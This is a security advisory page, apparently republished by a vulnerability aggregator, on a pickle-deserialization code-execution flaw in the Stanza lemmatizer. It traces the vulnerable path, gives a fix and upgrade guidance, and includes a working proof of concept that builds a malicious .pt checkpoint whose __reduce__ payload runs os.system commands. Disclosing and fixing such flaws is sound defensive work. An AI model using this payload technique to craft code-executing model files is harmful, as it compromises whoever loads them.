High

Stanza: RCE via pickle deserialization in the lemmatizer

  • Disclosed: 03.11.2026
  • Updated: 07.11.2026 10:00

Overview

Loading an attacker-supplied lemma .pt executes arbitrary code in the context of the loading user. Since 1.14.0, the lemmatizer stores pos_dict as a gzip-compressed pickle inside the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) handles bytes as a primitive and passes it through without validation, meaning its allowlist never inspects the inner stream. Trainer.load subsequently passes those bytes to an unrestricted pickle.loads, which represents the only unconstrained pickle.loads call in the codebase. As a result, weights_only=True offers no protection, and loading a model leads to code execution.

This behavior was verified end-to-end against Stanza 1.14.0 with PyTorch 2.13.0 on CPython 3.13.7. A crafted checkpoint containing a payload where __reduce__ returns (os.system, (cmd,)) executed the command during load time (creating marker files showing uid=501(...), executed_by=...).

Downstream applications are vulnerable whenever they configure a pipeline that loads an untrusted or caller-supplied lemmatizer checkpoint, such as via stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (or equivalent operations loading untrusted models through custom registries). This call passes directly into Trainer.load -> _unpack_pos_dict, triggering execution of the embedded pickle during pipeline construction.

Vulnerable Path

stanza/models/lemma/trainer.py:

python
# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']

def _unpack_pos_dict(data):                 # line 54
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return pickle.loads(raw)                # <-- unrestricted default unpickler
python
def load(self, filename, ...):              # line 365
    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact
    ...
    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)
        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])   # line 378, no validation

Reachable via documented APIs: stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load.

Any shared or distributed checkpoint, custom registry, or caller-supplied lemma_model_path can reach this path. No checksum validation is performed on caller-provided file paths, as MD5 verification is implemented only within the default registry download flow. The vulnerability is triggered during pipeline construction prior to processing any inference input.

Note: This issue is distinct from the weights_only=False fallback addressed under CVE-2026-54499. The outer loading mechanism remains secure; the flaw lies entirely within the deserialization of the inner pickle stream.

Proof of Concept

python
import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS

MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")

class Payload:
    def __reduce__(self):
        return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))

buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:        # same shape as _pack_pos_dict()
    gz.write(pickle.dumps(Payload(), protocol=4))

ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)

loaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"])                            # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())

This proof of concept calls _unpack_pos_dict directly, replicating the exact expression found at trainer.py:378. Reaching this point via stanza.Pipeline(...) requires the crafted file to contain a well-formed config/vocab structure so that load executes through line 378 (verified via code inspection). The transition from deserialization to execution has been verified at runtime.

Mitigation Strategy

Deserialize the inner stream using the RestrictedUnpickler mechanism already implemented in stanza/models/common/doc.py, which restricts deserialization to tuple, list, and dict:

python
from stanza.models.common.doc import RestrictedUnpickler

def _unpack_pos_dict(data):
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return RestrictedUnpickler(io.BytesIO(raw)).load()

Under legitimate usage, pos_dict is a nested {pos: {word: lemma}} string mapping that does not reference class or function globals, allowing it to load without issue. Any malicious os.system payload is stopped by find_class. Replacing pickle entirely with JSON would also resolve the vulnerability, as all keys and values are strings. This should be applied to both _unpack_pos_dict and, for forward compatibility, _pack_pos_dict.

What to do

Upgrade Stanza to version 1.15.0 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) stanza >= 1.14.0, < 1.15.0 1.15.0

References

CVSS score 7.8/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-502, CWE-94
Platform
Python (PyPI)
Package
stanza
Disclosed
03.11.2026
Updated
07.11.2026 10:00

Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.

OSV / GitHub Advisory Database - GHSA-gh9r-c94j-cmp5 - CC BY 4.0

Vulnerability history: stanza

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
2
First → latest
06.2026 11.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 2

Disclosures per year

  1. 2026: 2
  1. Stanza: RCE via pickle deserialization in the lemmatizer this entry
    High · 7.8 CVE-2026-115878 >= 1.14.0, < 1.15.0 1.15.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.